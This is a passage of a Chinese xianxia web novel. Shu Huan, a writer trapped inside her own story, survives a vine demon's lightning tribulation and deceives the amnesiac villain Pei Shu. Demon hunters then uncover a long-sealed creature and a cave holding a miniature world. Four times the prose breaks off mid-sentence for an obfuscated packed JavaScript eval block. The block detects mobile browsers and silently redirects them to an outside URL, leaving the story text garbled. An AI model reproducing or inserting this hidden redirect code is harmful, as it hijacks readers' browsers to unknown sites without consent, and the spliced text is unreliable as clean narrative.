众捉妖师以往的捉妖地点大多是在地面,最差也只是水底,像这般只通地底的狭长洞穴实在没经验,一时间能想到的法子只有灌符水,撒符箓,扔各类法器或者引妖出洞,但那都是在没有人质的情况下,如今多耽搁一分一刻,书环便多一分危险,于是只能铤而走险派人下去。 元清因为年纪最小,骨架还没发育完全成了最佳人选。 带着各类法器,怀里藏着几个所擅各异的小妖,元清在众人的注视下慢慢下到洞穴之中,方一进入,便被刺骨的冷气的冻得打了个哆嗦,他燃起一张火符,缓缓的向下挪去。 众人盯着那根已经下去大半截的绳子,互相鼓励道:“快到底了。” “快了快了。” “以元清的修为一定会带着人平安上来的。” 裴殊心头一颤,略带不解的看向石山后的那片树林,莫临江和谢归川见状也纷纷抬头望去,只见古树参天的密林之上,一片乌云从天边翻涌而来,瞬息间便笼罩了这一方天地,紫浪于其中翻滚。 “雷劫!” “有人要渡劫了!” “这里就我们两个门派的人,哪里有人渡劫!” 众人纷纷后退,偏偏此处山高地险,没个能藏身的地,元清又还在地洞里,莫临江只能临时画了个阵法把人圈在其中。 乌云密布下的密林光线极差,稍远一点的距离便看不清对方的脸,雷劫酝酿一番后,在众人的注视下劈下第一道雷,紫色的雷电直冲石山后密林中的一棵枯树而去,枯树才死不久,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419226|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多细小的枝丫都还连着粗枝,经雷一劈便纷纷断裂往下掉。 有人惊骇道:“死树怎么能渡劫?” 修为最高的三人应声而动,旁人不知,他们却能看到,雷劫落下的瞬间,枯树四周有一层被劈出裂缝的幻影。 有人在此布了阵,书环和藤妖很有可能就在里面。 来不及思考阵是何人所布,莫临江趁着雷劫劈开阵法的瞬间迎身而上,一剑阻拦阵法合拢,裴殊趁机进到阵法内,阵法延缓一瞬后又慢慢开始愈合,谢归川紧随其后,同莫临江一起在阵法处撑起一道出口。 裴殊腾空立于树前,一头白发在风中缭乱,眉心的不世咒愈发鲜红,他抬手,一柄通体白色,内藏墨流的长剑横于身前,受他所控,朝树干斩去两剑,留下两道剑痕后,一切归于平静。 他眸光一暗,剑尖处析出一缕墨意,化作一根细长黑丝,缠绕枯树两圈后钻了进去,裴殊朝那处连砍数剑,一时间木渣乱飞。 谢归川神情一滞,问道:“莫少宗主,那是何物?” “我也不知。” “竟连你也不知。” 谢归川心道这位裴公子真是神秘,此时雷光一闪,下一道雷劫马上就要落下了,他不由得苦笑:“时运不济啊!” 正当此时,裴殊一剑落下,枯树主干处突然爆发出一股白光,一个身影仿佛被从中抛出,裴殊单手抱住她从两人强撑出的通道内离开。 失去了莫临江和谢归川的支撑,阵法瞬间合拢,下一刻一道雷劫落下,谢归川挥扇驱散几分暑气,此生还未在雷劫下救过人,着实有些惊心动魄。 几人折返回阵法内,众人瞬间围了上来,七嘴八舌道: “书姑娘没事吧?” “裴公子那把剑叫什么名字?看起来很厉害?” “是什么东西在渡劫?少宗主你知道吗?” “那棵树是什么来头,劈那么久才劈开一个洞?” 书环从裴殊怀中抬起头,带着几分没了解事情经过的疑惑望向众人。 莫临江上前,两指搭上手腕,片刻后道:“受了点惊吓和碰撞,没有重伤。” 牵着绳子的捉妖师道:“上来了!” 元清探出头,哆嗦着身子,深吸几口气,口齿不清道:“师姐,我把下面翻了个遍,没有书姐姐,是一处阴穴。” “我知道。” “你从哪里知道……”他将众人扫了一眼,看到了裴殊怀里抱着的人,“书姐姐!” 元清麻溜的把绳子一解,想伸手拉她,看见裴殊那张冷脸后又老老实实的把手收了回去。 “书姐姐你没事吧?” “我没事,只是有些困。” 说着眼皮越来越重,竟在裴殊怀里直接睡过去了。元清小心翼翼的将她脑袋抚到裴殊肩上,避免垂着伤了脖子,又大着胆子指导了裴殊一番该怎么抱人,嘀咕道:“你这抱人的手法,一看就很生疏,书姐姐平日里都不让你抱吧。” 裴殊抬眼,元清迅速躲回莫临江身后,他垂眸看了眼怀中的人,最后什么都没说。 远处,一道紫色的巨雷携着万钧之力猛然砸下,枯树从中间裂开一条缝,藤妖一身黑血从中逃了出来。 雷劫还在继续,众人不能插手,只能看着一道道雷电劈下,藤妖从尽力反抗到听天由命,直到最后一道雷落下,乌云散开,一缕独属于夕阳的鲜艳阳光从天边洒落,照亮了一地落叶残枝,和躺于其中的藤妖。 藤妖死了。 18. 哄反派 书环觉得自己像是躺进了一叶扁舟,在江上飘摇许久后,终于在某处靠了岸。 她睁开眼,窗外投射进阳光和微风。 裴殊盘坐在不远处,白发被风扬起几缕,他合着双眼,看不见那双冷淡幽深的双眸,整个人都柔和了几分。 似乎是察觉到了她的视线,那人缓缓睁眼,问道:“在看什么?” 书环答非所问:“我这是躺了多久?” “三天。” “只躺了三天,看来我的身体比我想象中要……” 她猛的从床上坐起,一脸不可置信道:“三天!” “藤妖呢?你们捉到了吗?我们现在是在哪?有人受伤吗?” 裴殊从一连串的问题中选出一个回答道:“死了。” “啊?” “藤妖渡劫失败死了。” 书环觉得自己错过好多,连忙爬坐到床边,要求他把自己昏迷之后发生的事从头到尾,事无巨细的说一遍。 裴殊以极简的语句概括了事情经过。 总的说来,藤妖没有渡过雷劫,被活活劈死在了众人面前,莫临江和谢归川带着门下弟子解开了枯树上被雷劫劈毁一半的残阵,那棵树极为罕见,天生便有聚灵之效,又生于阴穴边,所以在被虫子蛀空内心后才成了藤妖的洞穴,至于树上和树周的两个阵法,谢莫二人没有找到出处。 书环听了一段事件总结,十分不满。 “这也太简略了!” 她不禁想起了自己待过的那个诡异洞穴,竟然是虫子在树干中心蛀的洞,如此精妙的阵法,破阵之时一定十分精彩!她要去找人听个详细般的。 怎料刚起身,手脚便不听使唤软了下去,一头栽倒在床前。 差点忘了,自己在床上躺了数日水米未进,没力气是很正常的事。 她抬头扫了一圈,裴殊身侧的桌上放着一碗药,这屋里除了她外没有其他病人,只能是给她熬的,书环端过药碗,见裴殊没有出声阻拦,便一仰头喝了个精光。 刚将空碗放下,便听他道:“有毒。” 书环:“……” “有什么?” 她怀疑自己耳朵出了问题。 裴殊看着她的眼睛又说了一遍:“有毒。” 她有些迟疑的问道:“你……是怎么知道药有毒的呢?” “我下的。” 书环愣了愣,突然捂着嗓子,痛苦道:“啊……啊……你……你真的……” 裴殊面无表情的看着她在地上蜷缩成一团,书环又惨叫了两声,缓缓抬头:“你竟然真的在药里下了毒!” 说完没忍住,噗嗤一声笑了出来,扶着肚子哈哈大笑道:“哈哈哈哈有毒,你怎么不说有鬼啊?这种话是骗不了我的。” 裴殊一路上的举动她都看在眼里,种种迹象表明,他并不完全相信她说的话,要骗一个心思深沉的反派并非易事,书环干脆开门见山道:“你弄这一出到底是想问什么?” 裴殊抬眼:“你是怎么逃出来的?” 书环心神一晃,不由得想起在洞中发生的事。 她发现人皮后本打算逃出去再让人进来收敛,谁知一转身就看见藤妖站在不远处,那半个身影带来的恐惧让她直接愣在原地,对方从阴影中走了出来,她瞬间回神,以此生最快的速度跑进了身后的通道。 藤妖对洞穴显然十分熟悉,即便她边跑边画符阻拦也仅仅只能拉开一小段距离,只要速度稍微一慢便会被追上。 书环不知藤妖为何只是追逐却不攻击她,也不知道这种情况会持续多久,逃跑途中手臂被蹭伤,血顺着流到了曵骨上,一股巨大的力量从笔上传来。 她停下步伐,身后不远处的藤妖也停了下来,目光警惕的盯着曵骨。 这支笔的力量似乎变强了。 书环作为一个网文作者,对开金手指一事并不陌生,她忍不住深思,作者穿进自己写的书里,还顺带着带来了一只意义非凡的笔,真的只能用来画符吗? 她心里一直有道声音,隐隐约约的指向某个方向,她顺其趋势,抬笔写下了“藤妖渡劫”四个字。 落笔成真。 即使是在洞中,她也能感觉到有一股强大的威压覆盖了过来,带着要将人挫骨扬灰的架势,藤妖一时间方寸大乱,顾不得她,匆忙逃向洞穴深处。 虽危险已除,但书环却没了先前那股活泼劲,她抬手看了下掌心,苍白得能与裴殊的手一较高下,看来只要人在这一方天地,改变剧情就需要代价,哪怕她是原作者也不能随意。 缓过最初那股虚弱劲后,书环开始扶着墙找出去的路,洞穴四通八达,经常走着走着便会出现岔路,她全靠通过听雷声的大小来判断自己是否走错方向。 走了不知道多久,她终于找到了尽头,让人无法想象的是,那竟是一处没有出口的死通道,书环走上前敲了敲,是木头的质感,贴耳而上,隐隐约约听见谢归川问道:“莫少宗主,那是何物?” 随即一道细长的黑影不由分说的钻进她身体,那层阻隔她的木头被一柄剑劈得稀碎,她倒进了一个强劲有力的臂弯,一抬头,看见了一张凌厉的侧脸。 “你是何来历?” 裴殊又问道。 他整个人都很冷,无论是眼神还是语调,就连躯体也如同冰块雕成般,握着她的那只手正源源不断的朝她输送寒气,书环只觉恍若坠入了冰窟,浑身上下连同血液都冻住了。 “你问这话是什么意思?” 裴殊站起身,顿时高出她一个头,他牵起她的左臂,衣袖因他抬高的动作往下一滑,露出一大片擦伤的痕迹。 那是她被藤妖扑倒时受的伤。 “正常人的血不会破坏法阵。” 书环叹气:“正常人画符还不会引来天雷呢!天底下身怀异事的人多了去了,万一我就是其中一个呢!” 裴殊嗤笑道:“画符引雷,血能破阵,肉能诱妖,假设这些都是你自出生起便携带的,那你是如何完好无损的活到现在的?” 书环眨了眨眼:“你难道没有怀疑过一个问题吗?” “什么问题?” “你这样修为高深的人,为什么会和我这样没有什么修为的人相爱?” 裴殊如她所愿问道:“为什么?” 书环以一种回忆往事的口吻道:“因为当年你学成下山之时,碰巧救了被邪道绑走的我,你见我举目无亲,又身怀异事,于是便把我带在身边,时间一久,我们便有了感情。” 她胡扯一通,故作哀伤道:“唉,当年你许下山盟海誓,说无论何种境地,只要我有危险,你一定会拼尽全力救我,如今你虽然失忆了,但以往救我的本能还没忘,不然我早死在藤妖洞窟里了。” 裴殊听完这话,眉眼间那股刺人的寒气淡了一些,书环对上他的视线,主动握住他的手,继续道:“你一日不恢复记忆,我们之间的矛盾便会多积攒一寸,长此以往,再深厚的感情也会被消磨掉,莫姐姐见多识广,一定知道让人恢复记忆的法子,我去找她问问。” 说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419227|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕开裴殊,一溜烟的跑了出去。 裴殊看着那道渐渐远去的背影,许久后才收回目光,桌上碗中的药汁近乎干涸,只余一缕淡淡的药香,他闻着这缕药香,心中莫名的安稳下来。 一口气冲出老远后书环才慢慢停了下来,抬起左手啪啪抽起了右手。 “你说你写什么不好!非得写这种身世神秘性格内敛修为高强的反派,现在好了吧!打又打不过,编的谎话他也不信。” 一个作者因为笔下的角色而担惊受怕,说出去谁信啊。 发泄完情绪,她看了看所处的位置,决定先去找莫临江,恢复记忆的方法还是要问的,不过不是用在裴殊身上,而是避免裴殊用上。 笼罩村落的雾气已经散去,村民三三两两的外出活动,村中搭建起了许多祭奠用的灵堂,穿梭其中的人个个披麻戴孝,看样子莫临江已告知村民藤妖已死。 但有一点很奇怪,书环注意到先去莫临江同谢归川系在路边用以预警的红绳和铃铛还没撤去,拦住一位村民询问才得知,这是莫临江的决定,就算藤妖已除,日后也可用来防患其他妖物。 书环猜测莫临江对藤妖一事多半还有疑虑,但比起这个,更让她震惊的是莫临江竟然用阵法将整座山围了起来,因为担心藤妖还有分身藏在山中某处,于是众捉妖师借走了村里所有能翻土的工具,决定将山上有妖气的地方都翻一遍,如今已是第三日了,不知众人翻土翻的如何了。 没能找到莫临江,也不想回去面对裴殊那张冷脸,书环干脆沿着田边慢慢走了起来,百花盛放的时节,阳光还不算刺眼,漫步行走间,青草拂衣,花香抚面。 书环脑中紧绷了数日的弦终于慢慢放松下来,走出一大段距离后,她看见一个在山脚下埋头挖土的人,其穿着不似捉妖师,倒像是村民,走近一看,那人竟是王孝生。 “王公子,你这是在做什么?” 王孝生抹了把险些流进眼里的汗水:“听捉妖师说妖怪已死,死者可以下葬了,我给二牛选了个好地方。” 书环一拍脑门,自己真是睡昏了头,竟然问出这么蠢的问题,她不擅开解人,只安慰了几句便转身离开。 回到村落后,她跑到桃林里去寻了个地方坐着,一来这里有半妖可以陪她说话,二来不至于又因为脑袋昏昏做出什么蠢事。 无人打扰的这段时间,她将原著里发生的事都尽可能回想了一遍。 原书没有书环这个角色,裴殊也没有因此失忆,他化作一个上山采集矿石的画师,于上山途中和莫临江一行人“偶遇”,结伴到了村里,当天夜里,藤妖闯进了他们的阵法,一通破坏后逃窜而去。 谢莫二人费了一番功夫找到藤妖藏身之处,收服藤妖途中两派的人再度大打出手,结果便是藤妖自爆,两帮人争了一天,只收获了一身土。 故事进行到这里,众人大多都以为此事已了,裴殊却在不经意间提了一嘴,他闻到一股阴石墨的味道。 阴石墨一物不常见,知晓者也大多是修行人,其用途除却画符阵沟通亡灵外便是布幻阵。 莫临江因为这一句话揭开了笼罩众人的一丈阵,当天夜里,有一妖物突破层层防护进入村落杀害一人。 书环几番回想也没记起被杀害的那人姓甚名谁,按照剧情进度估摸着也就这两天了,等待一个注定会死的人死去实在是有些煎熬,她抬头望向远处,想借此放松一二,谁料目之所视空无一人。 正在给弟弟修坟的王孝生消失了。 真正的妖物出现了。 19. 追查 山林之中,元清佝偻着身子,手臂高高扬起,锄头猛的扎进地里,他握着锄柄向前一撬,一大块泥土被翻了起来。 他们日夜不休的山上挖土,如今已是第三日,他终于挖完了最后一锄,拿过寻妖香一探,香烟盘旋于地面,瞬息后散开。 元清松了口气,慢慢扶着腰直起身:“师姐,最后一块地也挖完了,没有藤妖遗留下的分身。” 藤蔓一类繁殖速度快,莫临江和谢归川担心藤妖临死前藏了部分神志于藤条或根须中,借雷劫金蝉脱壳,于是便出此下策。 谢归川摇着扇子道:“看来藤妖是真的死了,如此,我们也可放心下山了。” 他一向爱整洁,如今在山上待了两天两夜,早已到他承受的极限,只恨不能一跃而下,一头扎进水里清洗。 此时山下缓缓升起一道白光,光团歪歪扭扭的向上挪动,升到一个众人能面前看清的高度后,“嘭”的一声炸出一轮明月。 谢归川仔细辨认了一番,终于确定这是明月楼用来求援的法术。 “山下有异!” 来不及思考发生了什么,他和莫临江二人迅速反应过来,凭着深厚的修为一跃而下,身后众人在两人离开后你看看我我看看你,佝偻着背一瘸一拐的追了上去。 山下。 书环见王孝生失踪时心里便有了最坏的打算,快步跑至坑边一看,坑里只有一把用来挖土的锄头,一道凌乱的血迹断断续续的指向面前的山林。 她取下曵骨,画了一道明月楼的求援符,村中立马升起四道回应的信号,书环强行逼迫自己冷静下来,等了一会,见没人赶来,她看着那道血迹,深吸一口气,再度提笔。 “你想做什么?” 裴殊毫无征兆的出现在身侧,一把握住她手腕,察觉到空气中遗留的血腥味,他微不可查的皱了皱眉头。 书环面上一喜,一手拉着他一手指着地上的血迹。 “裴殊,快!我们追上去!” 她语气急促,似乎一刻也不能多等,裴殊看了她一眼,单手扣住她肩膀,带着人追进了林中。 熟悉的浓雾再度弥漫开来,两人才踏入林中,便觉视线被层层遮挡。 “裴殊,你有没有闻到一股……很陈旧的味道?” 书环揪着他的衣角,尽可能选了一个贴切的词来形容。 “嗯。” 裴殊像是对这东西很感兴趣,短暂的停留了一下后便带着书环冲着一个方向追了上去。 越往深处走气温越低,书环自张嘴说话被灌了一肚子冷风后便闭口不言,直到裴殊将她放下,确认过曵骨一路都留下痕迹后才轻轻扯了扯裴殊的衣袖。 他瞥了她一眼,低声道:“退后。” 她照做。 裴殊单手起势,顺着其目光看过去,浓雾之中,一道奇怪身影慢慢的显露出来,看起来像个人,却又没有具体的轮廓;看起来一动不动,却又在向他们靠近。 两人一妖之间的距离越来越近,就在妖物即将露出全貌的前一刻,裴殊突然出手了,浓雾因其气势磅礴的一招而被迫退让,露出了妖物身上披着的黑色布匹。 果然是它! 书环确定,这就是她书里写的妖物,她的出现并没有改变这一重要剧情。 她清楚这个东西的来历,担心裴殊被它所伤,好在此妖一心只想藏匿自己的身影,奋力一招将裴殊击退两步后,它立马遁入雾中消失不见。 裴殊看着自己的右手有些出神,因此错过了最佳的追踪机会,书环有些急躁的凑过来,提醒道:“它跑了。” 她话音刚落,一阵狂风便席卷至此处,浓雾触之便溃散,山林露出原貌,远处,一个全身裹满黑布,手里拖着条软塌塌血淋淋不明物体的人正飞快的往更深处逃去。 谢归川翩然落地,轻道了一声“收”,狂风闻声而止。 一道剑影直追妖物而去,莫临江紧随其后,手势一变,青山白转而刺向那只抓着人皮的手,那妖顺势往地上一滚,窜下一个小土坡后便没了身影,只有一块被割下的黑布在空中幽幽转了两圈,落到莫临江脚边。 谢归川凝重的看了看四周,问道:“不会又有阵法吧?” 最近一段时间见到的阵法有些太多了,再这样下去,他都快怀疑阵法不修到一定境界便无法在世间行走了。 莫临江没有立马回答这个问题,她环顾四周,青山白失去了追杀目标,像无头苍蝇一样盘旋空中,下方则是一个露天洞穴,洞穴前有一片寸草不生的空地。 这处地势不算低,虽然光照较少,但周围的植被都很茂盛,没道理只这一片光秃秃的,谢归川从边缘处扣起一点泥土碾碎,发现里面掺杂了大量的朱砂。 “朱砂?” 这和他预想的有些不一样,谢归川抖落指尖尘土,抬脚朝洞穴走去。 书环见两人有了发现,便顺手捡起那块不起眼的黑布朝两人走去,谁知一股浓郁的陈旧气味从上面散发出来,她捂着鼻子去翻那块黑布:“什么味道啊?” 这一翻倒让她翻出几道符文来。 正要探查洞穴的两人闻声脚步一顿,折返回来。 裴殊接过黑布递给了莫临江,散发恶臭的源头一离开,书环顿觉空气都清新了几分,裴殊趁她大口换气的功夫不冷不热的说了一句:“那是死人的味道。” 书环张着的嘴险些合不上。 “你在骗我,死人……死人是恶臭。” 裴殊面无表情道:“刚开始是恶臭,时间久了就是这种味道。” 书环回想了一下死者的年岁,对裴殊说的话已深信不疑,同时略有疑惑,“你怎么会知道这个?” 裴殊不说话。 谢莫二人将黑布上的符文研究了一番,最终大致确定这是一个没有记载过的镇压类符文。 谢归川忍受这股味道已久,弄清符文的用途后第一时间站开老远,展开凤凰泣一刻不停扇了起来。 “如此说来,作乱的妖物许多年前便被人镇压了一次,用的是写满符文的黑布和掺了大量朱砂都泥土。” 书环疑惑:“光凭朱砂和一块写满符文的黑布就能镇压,这妖物未免有些太弱。” 谢归川道:“说的也是。” 书环不合时宜的想起了裴殊同其交手时的情景,问道:“你先前为何会出神?” 裴殊看了一眼黑布,道:“我接了它一招,那一招……不像是妖鬼的功法。” 人妖殊途,人鬼殊途,三者所异之处不仅仅是情之一字,修炼一事上,三者所用的功法也大有不同,谢莫二人虽不清楚裴殊具体底细,却也知晓一个修行之人绝不会将人与妖鬼的功法弄混。 谢归川吸了口冷气:“所以这里被镇压的是……人?” 莫临江负手望着远处匆匆赶来的捉妖师道:“是人是妖,挖出来看看就知道了。” 一群人稀稀拉拉顺着书环留下的记号找了过来,手里还拿着挖土的工具。 “少宗主,失踪的人找到了吗?” 莫临江认出此人是留驻村中的捉妖师,遂问道:“村中发生了何时?为何现在才赶到?” “看见书环姑娘发的求援信号之时,村中正因妖物的闯入而大乱,所以一时间未能前往援助。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419228|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 书环大惊:“村里也进了妖物?” 那人点头。 “整座村落周围布着的铃铛长鸣不停,我们安顿好百姓后寻至那间藏有诱饵的屋舍,发现房门大开,化作幼儿的纸人被撕成了碎片,阵法也被破坏了大半,我们顺着痕迹追出去,只看见一个浑身裹满黑布的背影,那东西逃的极快,遁入林中便没了身影。” 书环诧异:“袭击王孝生的被我们追到了此处,那另外一个呢?” 剩下一大群捉妖师也接连赶到,个个佝偻着背,毫无形象的喘着粗气,话都还没说上一句,其中一半人便被莫临江和谢归川派回去驻守村落,顺带着寻找王孝生的尸体。 一听尸体二字,众人顿时直起腰。 “王孝生死了?” “皮被妖物拖走了,尸体不知被扔在了何处,你们若是撞上黑衣人记得小心,它活着时有可能是个修行之人。” 修行之人死后形成的邪物会比一般的妖邪更为难缠,这东西藏了这么久,藏得这么深,若非众人捉完藤妖后多待了一段时间,它此刻早已在村中毫无顾忌的大开杀戒。 众人深知事情的严重性,被叫上名字的那些人拿上法器便往村里赶。 走了一半的捉妖师,这片密林看起来都更透气了些。 元清道:“师姐,我们接下来干嘛?” “先弄清楚此物的来历。” 她纵身跃到那片混了朱砂的空地上,书环看了一眼裴殊,拉着他也跟了上去。 单从颜色和质地上看,这片空地与其他的土地除却植被覆盖率外没有任何不同,挖开一瞧才发现不对,下面的土明显偏红,并且越往下这种红越明显。 书环抓起一把给一旁站如木桩的裴殊看。 试探问道:“你能看出这些朱砂放在这里多久了吗?” 裴殊面无表情的看她一眼,捻起一点朱砂和土的混合物在指尖摩挲几番,随后尽数撒回地上。 “上一次是二十多年前。” “二十多年?” 书环对裴殊的能力感到震惊,身为原作者,她自然知道这个数字有多么准确,一旁的谢归川听闻后来了兴趣。 “朱砂遇水不化,历经雨水冲蚀也只会流失表面一层,不过我听裴公子话里的意思,这里的朱砂是分多次混进来的?” 裴殊说了句让在场众人震惊的话:“间隔几十年到近百年,次数众多,难以辨别。” 谢归川摇着扇子的手慢了下来。 “每隔一段时间便会重新添一次朱砂,只有两种情况会驱使幕后之人这样做。” “第一,此处镇压的东西极为凶悍,布这局的人担心它冲破封印,于是每隔一段时间便会来此加强封印,添朱砂便是其中一环。” 谢归川缓了缓,接着道:“第二,每隔一段时间,幕后之人便会来此,再多封印一个妖。” 说完,他环视了一番众人的反应,歪七面带疑惑道:“少主,倘若是第二种情况,那幕后之人为何一定要将妖物带到此处来封印?” “我也有个问题想不通。” 书环在众人的注视下缓缓开口:“方才裴殊说,添朱砂一事间隔几十年到近百年不等,且次数众多,假设只添了几次朱砂,加起来最少也有上百年了吧,此事是一人所为,还是一个家族或师门所为?” “再者,那个所谓的妖物想必大家也都看到了,与其说是妖,我倒觉得,那是人。” 谢归川浅笑道:“大家的疑惑不无道理,要解决这一连串的谜题,还需先搞清楚此处地势的乾坤,”他笑望身侧之人:“莫少宗主,有劳了。” 20. 洞中天地 无端门观形望气一术享誉天下,莫临江站在几处高低不一的地方遥望四方,顷刻间便将此处的玄妙参透得七七八八。 总的说来,此乃一处灵穴,方圆百里的气运都汇集此处,再由此分散出去,倘若有人看准灵穴葬于此处,子孙后代必定平步青云,这样一处风水宝地,实在不像是能镇压妖邪的地方。 为了解开疑惑,众人在外圈布了阵法,确保此处的妖邪不会逃出后,手持挖土工具的捉妖师开始二次就业,将脚下填埋的朱砂全部清出。 这个过程极为费时,书环几人趁此机会进到洞穴内部查探。 刚踏进阳光照射不到的范围,一股阴寒之气便直钻骨髓而去,书环没忍住打了个哆嗦,抬眼望去,洞穴阴暗潮湿,靠近洞口的角落滋生出了青苔,除此之外洞内再无任何带生命的东西,只余形状诡异的黑石凌乱遍布洞穴。 书环接连看了几块石头,越看越觉得浑身不舒服,她避开此物,转而去看洞顶。 钟乳石形状的黑色石头从洞顶蔓延而下,或长或短,或粗或细,目之所及处皆有其影,书环看不懂,但不妨碍自己想起这一设定。 星宿。 头顶的石头是对应二十八星宿而生。 除书环以外的几人也看懂了其中玄机,将目光调转回地面。 谢归川再度取下一对琉璃灯耳坠,火光跳跃两下后照亮了整个洞穴,他将灯放低到地面,高低起伏的阴影被拉长映射到了洞穴壁上。 “高山,河流,平原,低谷……” 洞穴地面俨然是一方陆地的缩影。 谢归川摸着那条干涸的“河流”感叹道:“此事比我想象的要复杂,原以为会是一些镇压术法,不料布局之人竟此造出一方小世界,此举究竟是何意图?” 莫临江把手从面前的诡异石头上收回,道:“既是造一方世界,那自然是给人住的。” “少宗主说笑了,这一方天地连棵草都没有,何谈人。” 书环半个身子躲在裴殊身后。 “那个……我们好像就是人。” 谢归川眉头一皱,抬手一挥扇,四人被一阵风卷出了洞穴。 正在挖土的众人见此情景下意识的拿出法器,严阵以待道:“有妖异!” 随着这一声重喝落下,众人仿佛被定住,一群手执法器的人对着刚从洞穴出来的四人,两边没有一人说话,时间从林间间隙中一点点流走,书环觉得这场面有些诡异又有些幽默,缓缓转过头去,身后的洞穴一如既往的黑,也一如既往的安静。 总算有人发现了不对,慢慢放下因为保持一个动作太久而酸痛的手臂。 “少宗主,你们……没有遇到意外吗?” 莫临江面色如常道:“没有。” “那你们刚刚突然出来是因为……” 谢归川脸上的笑容万年不变:“防止突生变故。” “啊?” 众人觉得有些尴尬,看天的看天,望地的望地,还有人装作无事发生的模样继续挖土。 裴殊轻呵一声,书环诧异的看向他。 “你刚刚……是在笑?” 他面无表情的转身。 “你看错了。” 书环亦步亦趋的跟了上去:“我没看错,嘲笑也是笑。” 莫临江看了一眼两人的背影,问元清:“你们分辨不出妖气?” 元清挠头:“也不是分辨不出,这不是被一丈阵骗过两回吗?我还以为这里也有一丈阵呢。” 谢归川笑道:“不管怎么说,警惕性高一点总没坏事。” 此事就此揭过。 眼下黑衣人的来历尚未理清,又多出一个洞中天地,许多谜团纠缠在一起,将人束缚的寸步难行。 一时间找不出头绪,谢归川找莫临江要那块黑布,想从中再看出点什么,递过来时两人的手指不慎碰上,那块布直直的掉进刚被翻起的朱砂土中。 谢归川不动声色的将布捡起,低头一看,只见那块陈旧的黑布上,原本的符文中间浮现出一道破碎的符文。 “这是……” 他将布料放置于地面,捧了几捧土将其掩埋,确认每一处布料都能接触到朱砂后再将其提起,抖掉多余的朱砂,经此一番功夫,原本破碎的符文已完整的浮现于黑布之上。 谢归川将两道符文誊抄于地面,比对一番后,确定这是一双阴阳符。 所谓阴阳符,是指两道被人相伴编写出的功能相反的符文,合并使用时能发挥远超符文本身的威力,分开则显得平平无奇,所以又称双生符。 谢归川道:“阳符用于镇压,阴符用于滋养,二者结合起来,或许便是画符人想要达到的目的。” 莫临江问道:“无法抹杀?” 谢归川起身,看向已经挖了一人高的深坑。 “无法抹杀,便只能选择镇压,但一般的镇压之法于此物无用,于是幕后之人选择了这么一处气运深厚的地方,镇压黑衣人的同时在洞穴内造了一方小天地。” 说到这,谢归川流露出一丝不解。 “我还是无法理解,造一方天地的作用是什么?” 一直默不作声的裴殊望着洞中黑石,意外开了口。 “或许,是让被镇压的人误以为自己还活着。” “因何而死才会对活着一事有如此大的执念?倘若真如裴公子猜测这般,那此物便无法定性为妖。” 妖与怪听起来像是同一类物种,实则二者相去甚远,谢归川特意提此事,无非是因为无端门对此有详细的划分,莫临江所在的人宗最擅除妖,如果这下面被镇压的是怪邪一类的话,她在此事上发挥的作用便要大打折扣。 “师姐,有发现!” 元清一声怒吼,几人迅速从思考中抽离出来,跃下深坑一看,混了朱砂的土层足足有一人半高,在其之下,是一个巨大的石盘,上面雕刻着繁复的符文。 谢归川蹙眉:“如果我没有猜错的话,这是一个用作隔绝的阵法。” 莫临江抚着石盘表面细碎的裂缝道:“此处多年来平安无事,正是因为有此阵在,阵法一碎,里面的东西没了束缚,便如同狼入羊群,大开杀戒。” 谢归川问道:“能补好吗?” “能,但需要时间。” “那便劳烦少宗主在此补阵,我有些事还需下山确认一下。” 谢归川回到地面,对书环和裴殊道:“二位可否与我同行?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419229|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 书环自是没意见,至于裴殊,他向来跟着书环行走。 谢归川没带其他人,三人立马启程往山下赶,途中穿过来时那片密林,书环特地多留意了几眼,不知是不是心理作用,即使雾气散尽,她仍觉得此处阴森。 “不知王孝生的尸体搜寻到没有?” “此处妖邪向来只要皮肉,尸体应该不难找。” 谢归川边走边道:“等会我要验尸,有些逝者已经下葬,家属可能会不同意,如果起了争执的话,劳烦裴公子帮我拦一下。” 书环觉得此举有些稀奇。 “你让他来竟然是为了给你当打手,那我呢?” 